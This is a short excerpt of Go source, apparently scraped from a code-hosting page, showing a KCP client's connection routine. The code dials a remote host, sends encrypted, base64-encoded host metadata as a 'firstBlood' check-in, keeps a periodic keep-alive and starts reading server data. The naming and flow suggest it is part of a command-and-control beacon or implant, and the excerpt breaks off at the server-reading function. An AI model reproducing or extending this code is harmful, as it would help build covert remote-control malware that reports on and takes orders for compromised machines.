assuming for the sake of example
(host string)
| 36 | link.ReportError = communication.ErrorProcess |
| 37 | link.ReportData = communication.DataProcess |
| 38 | } |
| 39 | |
| 40 | func (s *KCPClient) InitializeClient(host string) { |
| 41 | conn, err := kcp.DialWithOptions(host, nil, 10, 3) |
| 42 | if err != nil { |
| 43 | s.IsConnected = false |
| 44 | return |
| 45 | } |
| 46 | communication.KCPClient = conn |
| 47 | |
| 48 | s.Client = conn |
| 49 | if s.Client != nil { |
| 50 | s.IsConnected = true |
| 51 | s.Buffer = make([]byte, 4) |
| 52 | s.MS.Reset() |
| 53 | |
| 54 | if len(utils.MetaInfo) == 0 { |
| 55 | utils.MetaInfo, _ = utils.EncryptedMetaInfo() |
| 56 | utils.MetaInfo, _ = encrypt.EncodeBase64(utils.MetaInfo) |
| 57 | } |
| 58 | firstBloodInt := 1 |
| 59 | firstBloodBytes := utils.WriteInt(firstBloodInt) |
| 60 | firstBloodMsg := utils.BytesCombine(firstBloodBytes, utils.MetaInfo) |
| 61 | communication.Send(firstBloodMsg, s.Client) |
| 62 | |
| 63 | if s.keepAlive != nil { |
| 64 | s.keepAlive.Stop() |
| 65 | } |
| 66 | s.keepAlive = time.NewTicker(8 * time.Second) |
| 67 | |
| 68 | go func() { |
| 69 | for range s.keepAlive.C { |
| 70 | s.KeepAlivePacket(s.Client) |
| 71 | } |
| 72 | }() |
| 73 | |
| 74 | go s.ReadServerData() |
| 75 | } else { |
| 76 | s.IsConnected = false |
| 77 | } |
| 78 | } |
| 79 | |
| 80 | func (s *KCPClient) ReadServerData() { |
no test coverage detected